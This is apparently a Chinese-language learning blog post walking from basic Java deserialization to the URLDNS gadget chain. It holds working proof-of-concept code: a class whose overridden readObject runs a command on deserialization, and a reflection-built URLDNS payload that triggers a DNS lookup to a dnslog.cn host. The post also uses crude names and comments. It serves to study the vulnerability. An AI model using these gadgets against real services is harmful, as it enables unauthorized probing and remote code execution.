[JAVA反序列化学习]从零到URLDNS链
"Talk is cheap. Show me the code." ---Linus Torvalds
JAVA反序列化
基础请见:JAVA序列化随笔
通过重写readObject方法实现RCE(最基本的原理)
漏洞点(假设传入的ser可控):
***impar.java***
package Serialize.org;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class impar { //sex party
public static void main(String[] args) throws Exception {
Fucker fucker = new Fucker( "John", "123 Main St",114514);
System.out.println(fucker);
Serialize(fucker);
Deserialize();
}
public static void Serialize(Object obj) throws Exception { //the serialize method
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void Deserialize() throws Exception { //the deserialize method
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
Object obj = inputStream.readObject();
inputStream.close();
System.out.println(obj);
}
}
待序列化exp:
***Fucker.java***
package Serialize.org;
import java.io.Serializable;
public class Fucker implements Serializable{
public String name;
public String address;
public transient int age; // transient瞬态修饰成员,不会被序列化
public void addressCheck() {
System.out.println("Address check : " + name + " -- " + address);
}
public Fucker(String name, String address, int age){
this.name = name;
this.address = address;
this.age = age;
}
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
// 执行默认的 readObject() 方法
Runtime.getRuntime().exec("calc");
/*
*通过重写readObject方法,当银趴反序列化时,
*可执行恶意代码
*/
}
@Override
public String toString() {
return "Fucker [name=" + name + ", address=" + address + ", age=" + age + "]";
}
}
URLDNS链(用于检测漏洞存在)
虽然挺通用的一个链,但还是利用有限,因为只有java8及以下允许通过反射设置java自带的类。
具体看码和码的注释:
***URLDNS_impar.java***
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS_impar {
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://qvhg0b.dnslog.cn");
/*跟进URL的类,可以看到url的hashcode方法当hashcode=-1时,会调用
URL的handler的hashcode方法,这个方法会对URL的spec参数发出dns查询。
* */
Class c=url.getClass();
Field name_field=c.getDeclaredField("hashCode");
name_field.setAccessible(true);
name_field.setInt(url,114);
/*通过反射设置hashcode为非-1,若不设置,则hashmap.put(url,1)的时候会发起dns查询
*但是几把的,只有java8及以下允许通过反射设置java自带的类,
*不过好像现在市面上大多数java产品的版本确实还是java8
*/
hashmap.put(url,1);
/*跟进hashmap的put方法,可以发现会调用key的hashcode方法
**/
name_field.setInt(url,-1);
/*把hashcode的值调回来,这样在序列化的时候,就会认为hashmap为-1,进而触发dns解析*/
Serialize(hashmap);
Deserialize();
}
public static void Serialize(Object obj) throws Exception { //the serialize method
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser2.txt"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void Deserialize() throws Exception { //the deserialize method
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser2.txt"));
Object obj = inputStream.readObject();
inputStream.close();
System.out.println(obj);
}
}
//cd "e:\shentoutools\study\java\Serialize\" ; if ($?) { javac URLDNS_impar.java -encoding UTF-8 } ; if ($?) { java URLDNS_impar }

浙公网安备 33010602011771号